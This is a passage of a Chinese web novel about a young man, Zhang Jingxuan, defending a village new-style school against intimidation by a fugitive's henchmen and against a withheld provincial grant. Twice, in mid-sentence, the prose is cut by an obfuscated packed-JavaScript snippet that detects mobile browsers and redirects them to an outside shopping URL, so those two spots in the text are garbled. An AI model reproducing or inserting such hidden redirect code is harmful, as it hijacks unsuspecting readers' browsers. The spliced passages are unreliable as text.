路过镇公所时,他看见门口停着一辆马车,帘子紧闭。车窗里似乎有双眼睛在往外看,但雨幕太密,看不清。张静轩加快脚步,心里却想起秦怀安的叮嘱:陈继业在逃,他手下还有几个漏网之鱼。 回家路上,雨越下越大。桐油布不大,遮不住全身,裤脚很快湿了。张静轩拐进一条小巷想抄近道,刚走几步,就听见身后有脚步声——不紧不慢,隔着十来步远。 他警觉地回头。雨幕里,一个人影站在巷口,穿着蓑衣,戴着斗笠,看不清脸。见他回头,那人转身走了,消失在拐角。 是巧合?还是…… 张静轩握紧了桐油布下的手。怀里揣着秦怀安送的那把小刀,刀柄的麻绳被体温焐得温热。 回到家时,浑身已经湿透。福伯忙迎上来:“小少爷,快换衣裳,小心着凉。”又压低声音,“老爷在书房,有客人。” “谁?” “省城来的,姓沈。” 张静轩心头一动。沈特派员?他怎么会来? 换了干衣裳,他轻手轻脚走到书房外。门虚掩着,里面传出说话声。 “……陈继业确实在逃,但线报说,他已经离开本省。”是沈特派员的声音,“我们追查到他最后出现的地方,是邻省的码头。估计是走水路往南边去了。” “南边?”张老太爷的声音。 “对。上海,或者广州。那些地方租界多,容易藏身。”沈特派员顿了顿,“不过,他手下几个小喽啰还在本地活动。我们抓了两个,还有三个在逃。其中一个……可能就在青石镇附近。” 书房里静了静。雨声透过窗户传进来,淅淅沥沥。 “张公,”沈特派员的声音压低了些,“令郎这段时间,最好少出门。尤其是一个人。” “我明白。”张老太爷说,“静轩他……” “他在这件事里,露了脸。秦怀安交出的证据,是他找到的。陈继业那边的人,恐怕已经知道了。” 张静轩站在门外,手心里出了汗。他想起巷口那个蓑衣人,想起那双隔着雨幕的眼睛。 “还有件事。”沈特派员说,“省教育厅的拨款,下个月就能到。但最近省城有些传言,说青石镇学堂‘来历有疑’,‘牵扯旧案’。虽然王秉章倒了,但保守势力还在。这笔钱……可能会有人做文章。” “怎么做?” “拖,卡,或者……要求‘重新审计’。”沈特派员叹气,“新式学堂本来就招人眼红,你们这次又闹得这么大。有些人,面上不说,心里记着呢。” 书房里又是一阵沉默。雨声更急了,打在窗纸上,噗噗作响。 张静轩轻轻推门进去。张老太爷和沈特派员都抬起头。沈特派员还是那身中山装,但面色疲惫,眼下有青影。 “沈叔叔。”张静轩行礼。 沈特派员点点头:“静轩,长高了。”他打量着他,“刚才的话,你听见了?” “听见了。” “怕吗?” 张静轩摇头:“不怕。但想知道,我们能做什么。” 沈特派员眼中闪过一丝赞许:“眼下,什么都别做。该上学上学,该办学办学。那些暗处的人,越动越容易露出马脚。”他从公文包里取出一张照片,“这个人,你见过吗?” 照片上是个三十来岁的汉子,方脸,浓眉,左边眉骨上有道疤。张静轩仔细看了看,摇头:“没见过。” “他叫马三,陈继业的得力手下,专管‘脏活’。”沈特派员收起照片,“昨天有人在青石镇附近看见他。如果见到,立刻告诉我——不要自己上前。” 张静轩点头。照片上那道疤,像条蜈蚣,趴在眉骨上,让人过目不忘。 沈特派员又坐了一会儿,便起身告辞。雨还在下,他披上雨披,钻进马车。马蹄声在雨里显得沉闷,很快远去了。 张老太爷站在门口,望着雨幕,久久不语。 “爹,”张静轩轻声说,“我会小心的。” “光小心不够。”张老太爷转身,走回书房,“从明天起,福伯接送你上学。放学就回家,别在外逗留。”他顿了顿,“还有,学堂那边……有些事,让卢明远他们多担着。你毕竟是孩子。” 这话说得委婉,但张静轩听懂了——父亲是让他暂时退到后面,避避风头。 “爹,我不怕……” “我知道你不怕。”张老太爷打断他,“但有些事,不是怕不怕的问题。是值不值。”他在书案后坐下,“你现在要做的,是读书,是长大。等真长大了,有的是事让你做。” 张静轩还想说什么,但看着父亲疲惫的神情,终究没开口。他知道,父亲说的是对的。但他也知道,有些事,一旦开始了,就退不回去了。 夜里,雨停了。月亮从云缝里露出来,清清冷冷地挂在半空。张静轩躺在床上,睁着眼看帐顶。窗外有滴水声,嗒,嗒,嗒,像更漏。 他想起巷口那个蓑衣人,想起照片上马三脸上的疤,想起沈特派员说的“有些人记着呢”。这些像一张网,在黑暗里张开,网眼细密,网绳坚韧。 但他不是鱼。他是张静轩。 他坐起身,点亮油灯,摊开纸笔。该做点什么了。 第一张纸,画的是青石镇的地图。祠堂、张家、镇公所、码头、关帝庙废墟、主要的街道巷口……一一标注。这是他从大哥笔记里学来的——要把地形记在心里。 第二张纸,列的是人名。赵全福(已抓)、陈继业(在逃)、马三(在逃)、另外两个喽啰(在逃)……还有王秉章背后的省议会要员(已倒台),以及可能还在的“保守势力”。 第三张纸,写的是时间线。三年前秦先生案,大哥调查,参军;三年后办学堂,遇阻,反击,破案;现在——余波未平,暗影仍在。 三张纸摊在桌上,油灯的光跳动着,照着那些字迹和线条。张静轩看着,脑海里渐渐清晰。 敌人还在,但换了方式。从明面的打压,变成暗处的窥伺。从权力的压制,变成个人的威胁。方式变了,但目的没变——毁掉学堂,或者,毁掉坚持办学的人。 而他,现在成了目标之一。 但他不是一个人。有父亲,有福伯,有卢明远,有苏宛音和程秋实,有周大栓李铁匠那些街坊,还有学堂里二十八个孩子。 想到孩子们,他心里一暖。水生憨厚的笑容,小莲怯怯的眼神,铁蛋倔强的神情……这些,都是他要守护的。 吹熄灯,重新躺下。黑暗中,他握紧了怀里的小刀。刀身冰凉,但麻绳缠裹处,有体温的暖意。 第二天,雨过天晴。天空洗得碧蓝,阳光亮得晃眼。青石镇像刚出浴的姑娘,清新,润泽。青石板路还湿着,倒映着蓝天白云,踩上去有轻微的水声。 福伯果然一早就等在门外。老管家今日腰间又别了那根短棍,眼神警惕地扫视着四周。 “小少爷,昨夜……”他压低声音,“镇东头出了点事。” “什么事?” “陈老秀才家的柴房,夜里被人撬了。”福伯说,“没丢东西,但翻得乱七八糟。陈老秀才今早才发现,吓了一跳。” 张静轩心头一紧:“冲着陈老先生去的?” “不好说。”福伯摇头,“也可能是冲着学堂——陈老先生捐了书,写了字,大家都知道他支持学堂。” 两人往学堂走。路过陈老秀才家时,门开着,老人正在院子里收拾柴火,脸色不太好。 “陈老先生。”张静轩走过去。 陈老秀才抬头,勉强笑了笑:“是静轩啊。没事,就是些柴火,乱了就乱了。” “报警了吗?” “报了。镇上的老刘来看了一眼,说可能是野狗扒的。”陈老秀才叹气,“我知道不是野狗——门闩是被撬开的。” 张静轩看着老人花白的头发,心里不是滋味。陈老秀才古板了一辈子,临老想通了些,支持新学,却惹来这种事。 “陈老先生,您这几天……小心些。” “我晓得。”陈老秀才摆摆手,“一把老骨头了,不怕。倒是你们,年轻,要当心。” 离开陈家,张静轩一路沉默。福伯也沉默,但眼神更警觉了。 到学堂时,气氛比往日凝重。苏宛音和程秋实在说话,见他们来,停下话头。 “静轩,”苏宛音走过来,“陈老先生家的事,听说了?” 张静轩点头:“是冲着学堂来的?” “可能。”程秋实推了推眼镜,“昨晚不止陈家。卢明远家的货栈,也被人扔了石头,砸坏了两扇窗户。” 卢明远家的货栈在镇西,专走省城货运。卢家支持办学,也是公开的事。 “卢大哥没事吧?” “人没事,但货栈伙计说,扔石头的人跑得快,没看清脸。”程秋实压低声音,“静轩,你说……是不是陈继业的人?” 张静轩想起照片上马三的疤,想起巷口那个蓑衣人。他点点头:“可能。” “那怎么办?”苏宛音脸色苍白,“他们要是冲着我们来,孩子们……” “别慌。”张静轩深吸一口气,“他们不敢明着来。扔石头,撬柴房,都是试探,也是恐吓。咱们越慌,他们越得意。” 这话说得冷静,连他自己都有些意外。苏宛音和程秋实看着他,眼神里有惊讶,也有欣慰。 “静轩说得对。”程秋实点头,“咱们该干嘛干嘛。学堂照开,课照上。但要加强防备——晚上留人守夜,门窗检查仔细。” 正说着,卢明远匆匆进来,手里拿着一封信:“宛音,秋实,静轩——省城来信了。” 信是卢父亲笔。说省教育厅的拨款,果然被卡住了。理由是“需要进一步核实办学资质和资金用途”。同时,省城几家报纸开始出现“不和谐声音”,质疑青石镇学堂“背景复杂”,暗示办学“别有用心”。 “这是要拖死我们。”程秋实脸色难看,“没有拨款,先生的束脩发不出,学堂的日常开销也……” “束脩我可以不要。”苏宛音说,“日常开销,大家凑一凑,总能撑过去。” “撑得了一时,撑不了一世。”卢明远摇头,“而且,这不是钱的问题,是态度问题。省里这个态度传出去,谁还敢支持学堂?谁还敢送孩子来?” 这话说得沉重。所有人都沉默了。 张静轩看着窗外。阳光正好,院子里那棵老槐树叶子黄了大半,风一吹,簌簌地落。几个早到的孩子正在扫落叶,扫帚划过地面,沙沙作响。 “卢大哥,”他忽然开口,“令尊在省城,还能不能活动?” “能是能,但效果有限。”卢明远苦笑,“王秉章背后那个人虽然倒了,但保守派的势力盘根错节。我爹一个商人,说不上多少话。” “那记者呢?林记者那边,能不能再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140651|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写篇文章?” “我已经写信了。”卢明远说,“但报纸也要顾忌,不能总盯着一个地方说事。” 又陷入沉默。阳光从窗户照进来,在地上投出明亮的光斑。但张静轩觉得,那光里也有阴影。 上午的课,照常进行。但张静轩能感觉到,苏宛音和程秋实都有些心不在焉。孩子们似乎也察觉到了什么,比往日安静。 课间时,水生凑过来:“静轩哥,是不是出事了?” “没事。”张静轩摸摸他的头,“好好上课。” 水生看着他,眼神清澈:“静轩哥,俺爹说,要是学堂有难处,俺们可以凑钱。虽然不多,但……” 张静轩心头一热:“不用。学堂有办法。” 水生点点头,没再问,但眼神里的担忧,藏不住。 放学时,张静轩特意等所有孩子都走了,才和福伯离开。走出祠堂,他四下看了看——街道如常,行人如常。但他总觉得,有双眼睛在暗处看着。 回到家,书房里有人说话。是周大栓和李铁匠,还有卖豆腐的王婶、开杂货铺的刘掌柜。见张静轩进来,都站起身。 “小少爷。” “周叔,李叔,王婶,刘掌柜。”张静轩行礼,“诸位这是……” “我们听说,省里的拨款被卡了。”周大栓搓着手,“学堂不能倒。我们几个商量了,凑了点钱,先应应急。” 他从怀里掏出一个布包,放在桌上。布包解开,里面是些银元、铜板,还有些碎银子。不多,但叠得整整齐齐。 李铁匠也掏出一个布包:“这是我的。铁蛋上学,不能白上。” 王婶、刘掌柜也拿出钱来。不多,但都是心意。 张老太爷看着这些钱,眼眶红了:“诸位,这……这怎么使得……” “使得。”李铁匠声音粗哑,“张公,咱们都是粗人,不懂大道理。但知道,学堂是好事。孩子能识字,将来有出息。就冲这个,钱该出。” 周大栓点头:“小少爷为了学堂,冒了那么大的险。咱们出点钱,算什么。” 张静轩看着桌上那些钱,心里翻江倒海。这些钱,可能是周大栓跑船挣的血汗钱,是李铁匠一锤一锤打出来的,是王婶一块豆腐一块豆腐卖出来的,是刘掌柜一分一厘攒下来的。 都是辛苦钱,也都是良心钱。 “诸位叔伯婶娘,”他深深鞠躬,“这钱,学堂记下了。等省里拨款下来,一定还。” “还不还的,再说。”王婶抹抹眼角,“先把学堂保住。” 众人又说了会儿话,便告辞了。张老太爷送他们到门口,回来时,在椅子上坐了许久,没说话。 “爹,”张静轩轻声说,“百姓心里有杆秤。” “是啊。”张老太爷长长吐出一口气,“这杆秤,比官府的红头文件,比省里的拨款,都重。” 夜里,张静轩又在灯下摊开纸笔。今天的事,要记下来。 “冬月初三,省拨款被卡。周大栓、李铁匠等街坊凑钱助学。民心在,学堂不倒。” 写完这句,他停笔。窗外月色如水,清冷冷地照着庭院。远处传来打更声,二更天了。 他想起大哥信里的话:“挺直脊梁,守住本心。” 脊梁要挺直,心要守住。但路,该怎么走? 省里卡拨款,是软刀子。陈继业的人在暗处,是硬刀子。软硬兼施,是要逼他们放弃。 但能放弃吗?不能。 二十八个孩子在等着上学,街坊们在凑钱支持,苏宛音程秋实在不拿束脩教书,卢明远在四处奔走……所有人都在坚持,他怎么能退? 可该怎么破局? 张静轩看着油灯跳动的火苗,忽然想起一个人——林觉民。那个《新报》的记者,笔锋犀利,敢说话。他的文章,能影响舆论。 也许……可以从舆论入手? 省里卡拨款,总要有个理由。如果把这个理由公之于众,让全省的人评评理,会怎样? 那些“背景复杂”“别有用心”的指控,如果摆在阳光下,经得起推敲吗? 还有街坊凑钱助学的事,如果写出来,让全省的人看看——在青石镇这样的小地方,百姓是如何支持新学的,那些卡拨款的官员,脸上挂得住吗? 思路渐渐清晰。他重新铺纸,开始写信。 “林记者台鉴:青石镇一别,已近旬日。学堂运转如常,学生日有进益。然省教育厅拨款被卡,理由牵强。本地百姓闻之,慷慨解囊,凑钱助学。此事若见报,或可让全省知晓:新学之兴,在民心,不在红头文件。盼执笔为公,再助一力。张静轩谨上。” 信写得很克制,但意思明白。他吹干墨迹,折好,放进信封。明天让福伯寄出去。 做完这些,他吹熄灯,躺下。黑暗中,思绪却还在转。 光靠舆论还不够。省里那些人,脸皮厚,舆论压力可能有用,也可能没用。还得有别的办法。 比如……找沈特派员?他是警务厅的人,不归教育厅管。如果能通过他,把情况反映给更高层…… 或者,联合其他也在办学堂的地方?青石镇不是唯一办新学的,如果多个地方一起发声,力量会不会更大? 越想越觉得,前路虽难,但不是无路可走。关键是要动脑子,要联合,要坚持。 窗外传来猫头鹰的叫声,咕咕,咕咕,在寂静的夜里传得很远。张静轩闭上眼睛,慢慢睡着了。 梦里,他看见大哥。大哥穿着军装,站在一片开阔地上,身后是连绵的青山。他回头,对张静轩笑:“静轩,好好守着学堂。等哥回来,咱们一起教孩子。” 他重重点头。 醒来时,天还没亮。窗外有微光,是黎明前最暗的时刻。张静轩坐起身,看着窗外的天色,心里忽然很平静。 10. 第十章 泥淖中的足迹 冬雨过后的青石镇,空气清冽如刀。张静轩推开院门时,哈出的白气在晨光里凝成一团团雾。福伯候在门外,今日腰间除了短棍,还多挂了样东西——一个牛皮缝的袋子,鼓鼓囊囊的,不知装着什么。 “小少爷,”福伯压低声音,“昨儿夜里,又出事了。” 张静轩心头一紧:“谁家?” “不是谁家。”福伯四下看了看,“是祠堂。后墙那片新刷的石灰,被人泼了粪。” 粪?张静轩一愣。这手段,比扔石头、撬柴房更下作,也更恶毒。 两人匆匆往学堂走。街上行人还少,早点铺子刚生起火,炊烟袅袅。路过陈老秀才家时,门关着,但门缝里隐约有灯光——老人大概也知道了,睡不着。 到祠堂时,天色刚蒙蒙亮。后墙那片新刷的白石灰上,黄褐色的污秽触目惊心,臭气在清冷的空气里弥漫。苏宛音和程秋实已经站在那里,脸色铁青。卢明远也在,正用铁锨铲土盖那些污秽。 “什么时候发现的?”张静轩问。 “天没亮,守夜的老李头发现的。”程秋实声音发颤,“他说听见动静,起来看时,人已经跑了。只看见个背影,穿着蓑衣,往镇西方向去了。” 镇西。陈继业货栈的方向。 苏宛音转过身,眼睛红着,但没哭:“静轩,他们这是……要毁了学堂的名声。” 张静轩明白她的意思。泼粪,不只是恶心,更是一种羞辱——要让学堂在镇上人心里,变成肮脏、晦气的地方。尤其对那些本就观望、犹豫的家长,这招很毒。 “清理干净。”他说,“用石灰水再刷一遍。刷厚些。” 卢明远点头:“我已经让人去石灰窑了。”他顿了顿,“但这事……得有个说法。不然传出去,不好听。” “说法?”张静轩冷笑,“说法就是,有人见不得咱们好,用最下作的手段。” 正说着,周大栓和李铁匠也赶来了。看见墙上的污秽,两人都变了脸色。 “他娘的!”李铁匠骂了一句,夺过卢明远手里的铁锨,“我来!” 周大栓搓着手:“小少爷,这事……不能就这么算了。” “当然不能。”张静轩说,“周叔,李叔,你们先去各家各户走走,把话说清楚——就说有人眼红学堂,使坏。让街坊们心里有数。” “明白!” 两人匆匆走了。苏宛音看着他们的背影,轻声道:“静轩,你这样……会不会把他们也卷进来?” “他们已经卷进来了。”张静轩看着那片污秽,“从他们凑钱助学那天起,就卷进来了。现在要做的,是让他们知道,咱们不会退,也不能退。” 石灰水很快送来了。几个人动手刷墙。刺鼻的石灰味混着残余的臭气,熏得人眼睛发涩。但没人停手,一刷,又一刷,白浆覆盖了污秽,也覆盖了昨夜的屈辱。 太阳升起时,墙刷好了。白生生的,在晨光里晃眼。张静轩站远了些看——那片白,像一块巨大的纱布,盖住了伤口,但伤口还在。 上午的课,照常进行。但孩子们显然都听说了,眼神里带着不安。水生几次欲言又止,小莲低着头,不敢看人。 苏宛音放下课本,走到讲台前:“同学们,今天上课前,老师有句话说。” 孩子们抬起头。 “昨夜,有人在学堂后墙泼了脏东西。”苏宛音的声音很平静,“为什么?因为他们怕。怕你们读书,怕你们明理,怕你们将来有出息。” 她顿了顿,目光扫过每一张脸:“老师小时候,也被人欺负过。因为我是女孩,却想读书。有人往我书包里塞虫子,有人在我座位上倒墨水。但我没怕。因为我知道,他们越欺负,越说明他们怕我——怕我读了书,比他们强。” 课堂里很静。孩子们的眼睛亮起来。 “现在,也一样。”苏宛音说,“他们泼粪,是因为怕你们。怕你们读了书,就不信他们的鬼话;怕你们明理,就不上他们的当。所以,咱们要更用力地读,更用力地学。等你们长大了,有出息了,这些人,连给你们提鞋都不配。” 这话说得硬气。孩子们挺直了腰板,读书声比往日更响。 张静轩坐在后排,看着苏宛音。这个看似柔弱的女子,骨子里有股他从未见过的刚硬。那是读书人的刚硬——可以弯腰,但脊梁不折。 课间时,水生跑到他身边:“静轩哥,俺爹说,让俺放学别走,他来找俺。” “为什么?” “不知道。”水生挠挠头,“但俺爹今早出门时,揣了把斧头。” 张静轩心头一沉。周大栓这是……要做什么? 上午最后一节课是程秋实的国文。他今日讲的是岳飞的《满江红》。讲到“靖康耻,犹未雪;臣子恨,何时灭”时,声音激昂。孩子们跟着念,稚嫩的声音在堂内回荡,有种奇特的悲壮。 放学时,张静轩特意等到最后。周大栓果然来了,不是一个人,身后还跟着李铁匠和几个街坊,都是学生家长。每人手里都拿着家伙——锄头、扁担、铁锤。 “周叔,”张静轩迎上去,“你们这是……” “守夜。”周大栓声音粗哑,“从今儿起,咱们轮流守。看哪个龟孙子还敢来!” 李铁匠点头:“对!咱们明着来,看他们敢不敢明着干!” 张静轩看着这些黝黑粗糙的脸,心里翻涌。他想劝,但话到嘴边,又咽回去了。他知道,劝不住。这些汉子,认死理——你对他们好,他们记着;你欺负他们孩子,他们就跟你拼命。 “那……小心些。”他最终说,“别硬拼,有事喊人。” “晓得。”周大栓咧嘴一笑,“咱们就是守,不惹事。但要是有人敢来……”他掂了掂手里的斧头,“那就怪不得咱们了。” 家长们开始在祠堂四周布置。有人搬来稻草,铺在屋檐下;有人找来破锅,挂在树上——有动静就能敲响。周大栓和李铁匠商量着排班,谁守上半夜,谁守下半夜。 张静轩看着,忽然想起大哥笔记里的一句话:“民气可用,但需导之。” 这些街坊,有血性,有义气,但也容易冲动。得有人领着,别让他们走偏。 他走到周大栓身边:“周叔,守夜可以,但得立规矩。” “什么规矩?” “第一,只守不攻。有人来,敲锅示警,但别追。”张静轩说,“第二,两人一组,互相照应。第三,真有事,先去镇公所报官——虽然老刘不顶用,但流程得走。” 周大栓想了想,点头:“成!听小少爷的!” 规矩定了,街坊们各自准备。张静轩这才和福伯往家走。 路上,福伯低声说:“小少爷,刚才守祠堂的老李头说,他昨晚看见那个泼粪的人……左腿有点瘸。” 左腿瘸?张静轩想起沈特派员给的照片。马三脸上有疤,但没说腿瘸。 “还有别的特征吗?” “蓑衣,斗笠,看不清脸。但走路一高一低,老李头看得清楚。” 张静轩记在心里。回到张家,他立刻去书房,把特征写下来。刚写完,门外传来马蹄声。 是沈特派员的马车。 沈特派员今日没穿中山装,换了身便服,像个普通商人。但眼神里的锐利,藏不住。他走进书房,开门见山:“静轩,昨天那封信,我收到了。” 张静轩一愣:“信?” “给林记者的那封。”沈特派员从怀里掏出信,“福伯托人寄,我正好在邮局,就截下了。” 张静轩心头一跳:“沈叔叔,这……” “别急,我没看内容。”沈特派员把信放在桌上,“但我猜得到,你是想借舆论施压。” 张静轩点头。 “想法是好的,但时机不对。”沈特派员坐下,“陈继业的人还在活动,你现在把事闹大,他们会狗急跳墙。而且省里那些卡拨款的人,最恨的就是报纸——你这一登,他们更不会松口。” “那怎么办?”张静轩急了,“就这么等着?” “等,但要主动地等。”沈特派员从公文包里取出一份文件,“这是我查到的,陈继业在省城的几个关系网。其中一个,是教育厅的副厅长,姓郑。就是他在卡你们的拨款。” 张静轩接过文件。上面列着人名、职务、往来记录,密密麻麻。 “这个郑副厅长,和王秉章背后那位不是一派的,但目的相同——都不希望新学太盛。”沈特派员说,“但他有个弱点:好名。喜欢别人说他‘开明’‘有远见’。” 张静轩眼睛一亮:“您的意思是……” “你不是给林记者写信吗?改一改。”沈特派员说,“别写省里卡拨款,写青石镇百姓如何支持新学,写学堂如何艰难维持,写孩子们如何渴望读书——但要提一句,说‘省教育厅虽有波折,但相信会有开明之士主持公道’。这话,说到郑副厅长心坎里。” 张静轩明白了。这是给郑副厅长递梯子——让他既可以卡拨款立威,又可以在舆论压力下“主持公道”,赚个好名声。 “他会顺着梯子下来吗?” “会。”沈特派员肯定地说,“这些人,最会看风向。现在省城也不是铁板一块,新派势力在抬头。他卡拨款,是给保守派看;主持公道,是给新派看。两头不得罪,还能落个好名声。” 张静轩点头。官场这些弯弯绕,他不懂,但沈特派员懂。 “那泼粪的事……” “是马三干的。”沈特派员说,“我们抓到的喽啰交代,马三左腿有旧伤,是早年跑码头时摔的。平时看不出来,但阴雨天会瘸。” 果然是他。 “他在哪儿?” “还在青石镇附近。”沈特派员压低声音,“我们的人盯了两天,发现他藏身的地方——镇西十里,有个废弃的山神庙。” “为什么不抓?” “想放长线。”沈特派员说,“马三只是小角色,抓了他,陈继业那边会更警惕。我们想通过他,找到陈继业的藏身地。” 张静轩沉默了。放长线,意味着马三还会继续作恶。但沈特派员说得对,抓个小喽啰,解决不了根本问题。 “那……学堂这边?” “加强防备,但别打草惊蛇。”沈特派员说,“我已经安排了两个便衣,在学堂附近盯着。马三要是再敢来,当场抓住。” 心里有了底,张静轩松了口气。他把给林记者的信重写了一遍,按沈特派员的意思,改了措辞。写完,交给沈特派员。 “沈叔叔,这信……” “我亲自寄。”沈特派员收起信,“保证三天内见报。” 送走沈特派员,张静轩回到书房,摊开地图。镇西十里,山神庙。他用笔圈出来。那地方他知道——小时候跟大哥去采过药,庙早就塌了,只剩几堵断墙,荒得很。 马三藏在那里,是看中那儿偏僻,也看中那儿离陈继业的货栈近。 正想着,福伯匆匆进来:“小少爷,卢少爷来了,说有急事。” 卢明远走进来,脸色苍白,手里拿着一封信:“静轩,宛音她……她父亲的事,被人翻出来了。” “什么?” “省城有人给镇公所寄了举报信,说苏文渊是‘戊戌余孽’,苏宛音作为其女,不配当先生。”卢明远声音发抖,“信里还说,要彻底清查学堂所有先生的‘家世渊源’。” 张静轩接过信。信是打印的,没有落款,但措辞恶毒,句句诛心。 “谁寄的?” “查不到。但肯定是那些人——卡拨款不成,就来这招。”卢明远握紧拳头,“宛音她……她受不了这个。她父亲的死,一直是她的心结。” 张静轩想起苏宛音说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140652|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起父亲时的眼神,那种痛楚,深藏在平静之下。 “苏先生现在在哪儿?” “在学堂,程先生陪着。”卢明远说,“静轩,得想个办法。不然宛音她……可能会走。” 走?张静轩心头一紧。苏宛音要是走了,学堂就真垮了一半。 “我去看看。” 两人匆匆赶到学堂。祠堂里,苏宛音坐在讲台后,一动不动。程秋实在一旁,急得团团转。孩子们已经放学了,堂内空荡荡的,只有昏黄的光,从窗棂透进来。 “苏先生。”张静轩走过去。 苏宛音抬起头,眼睛红肿,但没哭。她手里攥着那封信,指节发白。 “静轩,”她声音嘶哑,“我……我想我该走了。” “走去哪儿?” “不知道。”苏宛音摇头,“但我不走,会连累学堂。我父亲的事……是洗不掉的。” “为什么要洗?”张静轩在她对面坐下,“苏先生,您父亲是维新党人,是为了救国。这有什么错?” “可他们……” “他们是他们,您是您。”张静轩打断她,“您父亲当年变法,是为了让中华民国强。您如今办学,是为了让孩子强。这有什么不同?” 苏宛音愣住了。 “苏先生,”张静轩继续说,“您说过,您父亲临死前让您去教书。为什么?因为他知道,变法失败了,但救国的路没断。一条路走不通,就换一条。办学,启民智,就是另一条路。” 他顿了顿,声音更坚定:“您现在要是走了,才是真对不起您父亲。他拼了命想做的事,您做到了。您该骄傲,不该逃。” 堂内静了很久。暮色从窗外漫进来,一点点吞噬着光线。苏宛音坐在昏暗中,身影单薄,但脊背慢慢挺直了。 “你说得对。”她终于开口,声音很轻,但清晰,“我不该逃。” 程秋实松了口气。卢明远眼眶红了。 “那这封信……”卢明远问。 “烧了。”苏宛音将信撕碎,扔进炭盆。火苗蹿起来,吞噬了那些恶毒的字句。“从今往后,谁再提我父亲的事,我就告诉他——我父亲是读书人,是为了这片山河死的。我,也是读书人,是为了这片山河活的。” 卢明远握着那封信,指节捏得发白。他想起师范学堂的图书馆,那个总坐在最里面靠窗位置的少女——苏宛音总是最后一个离开,走时会把桌椅摆正,把看完的书放回原处。 她父亲忌日那天,卢明远偶然看见她在校园后山的松林里,一个人呆坐到天黑,背影单薄得像片纸。那时他就想,这个女子心里有片海,深得能淹死所有苦难,也深得让人心疼。如今这片海又要起风浪,他不能站在岸上看着。 火光照在她脸上,那张苍白的脸,此刻有种玉石般的光泽——脆弱,但坚硬。 张静轩看着,心里那块石头,终于落了地。 离开学堂时,天已经黑透。街巷里零星亮着灯,守夜的街坊们已经开始布置。周大栓和李铁匠在祠堂门口生了一堆火,火光映着他们黝黑的脸。 “小少爷,”周大栓看见他,咧嘴笑,“放心吧,今晚连只野猫都进不来。” 张静轩点头:“辛苦周叔李叔了。” “不辛苦。”李铁匠往火堆里添了根柴,“为了孩子,值。” 走在回家的路上,张静轩想起苏宛音说的那句话:“我父亲是读书人,是为了这片山河死的。我,也是读书人,是为了这片山河活的。” 这话,像种子,落在他心里。 山河。青石镇的山河,中华民国的山河。大哥在前线守着,他们在后方守着。守的方式不同,但心一样。 回到家,书房还亮着灯。张老太爷正在看一份文件,见他进来,放下文件。 “静轩,沈特派员今天来了?” “来了。”张静轩把今天的事说了。 张老太爷听完,沉默片刻:“苏先生那边,你处理得好。” “爹,我想……等这事过去了,在学堂开一门课。” “什么课?” “历史课。”张静轩说,“不单讲帝王将相,也讲像苏先生父亲那样的人,讲变法,讲维新,讲那些为了救国而死的人。让孩子们知道,这片山河,是怎么来的。” 张老太爷看着他,眼神复杂:“静轩,你长大了。” 这话,父亲说过不止一次。但这一次,张静轩听出了不同的意味——不是欣慰,是嘱托。 “爹,”他轻声说,“我会守着学堂,守着这片乡土。” “我知道。”张老太爷站起身,走到窗前,“但你记住,守,不是固守。是守住该守的,改变该改变的。这中间的度,你要自己拿捏。” 窗外,夜色如墨。远处祠堂方向的火光,隐隐约约,像一颗跳动的心。 张静轩点头。他明白父亲的意思。守旧与变革,固守与前行,这中间的平衡,他得自己找。 回到房间,他点亮油灯,摊开纸笔。今天的事,要记下来。 “冬月初四,后墙泼粪,马三所为。街坊守夜,民气可用。苏先生遭谤,坚定留下。沈特派员指点,信已改寄。山神庙,马三藏身处。” 写到这里,他停笔。看着那些字迹,忽然觉得,自己像在画一幅画——一幅关于青石镇的画。画里有光明,有黑暗,有坚守,有挣扎。而他是画中人,也是作画人。 吹熄灯,躺下。黑暗中,他握紧了怀里的小刀。刀身冰凉,但心是热的。 他知道,接下来的路还难。 但他不怕。 因为他不是一个人。 窗外的火光还在跳,街坊们还在守。苏宛音还在学堂,程秋实还在备课,卢明远还在奔走,沈特派员还在查案,大哥还在前线。 所有人,都在自己的位置上,守着这片山河。 11. 第十一章 春风不度 开春的第一场雨,淅淅沥沥下了三天。 青石镇的青石板路被雨水泡得发亮,倒映着灰蒙蒙的天。屋檐下挂着水帘,滴滴答答,像更漏。张静轩站在学堂门口,望着雨幕出神。雨水顺着瓦楞流下,在石阶前汇成细流,蜿蜒流向街边的水沟。 福伯撑开油纸伞:“小少爷,该回了。” 张静轩点点头,又回头看了一眼祠堂。后墙那片新刷的石灰,经过几场雨,已经不那么刺眼了,渐渐融进老墙的底色里。泼粪的事过去半个月,再没人提起,但那股恶臭,仿佛还留在空气里。 “福伯,”他忽然问,“马三……有消息吗?” 福伯摇头:“沈特派员那边还没信儿。倒是省城来了公文,说拨款的流程‘正在走’。”老管家顿了顿,“这话,听着耳熟。” 张静轩苦笑。正在走——这话说了快一个月了,还在“走”。他知道沈特派员的计策起了作用,郑副厅长要面子,不会公然卡着,但拖,也是一种态度。 两人走在雨里。油纸伞不大,遮不住斜飘的雨丝,肩头很快湿了一片。路过镇公所时,张静轩看见门口贴了张新告示,已经被雨水打湿,墨迹晕开,看不清内容。但他知道,大概是关于春耕的——每年这时候,镇公所都要贴告示,催缴春税。 回到家,书房里有人说话。是陈老秀才,还有卢明远。见张静轩进来,都停下话头。 “静轩,”卢明远站起身,“省城那边……有新情况。” 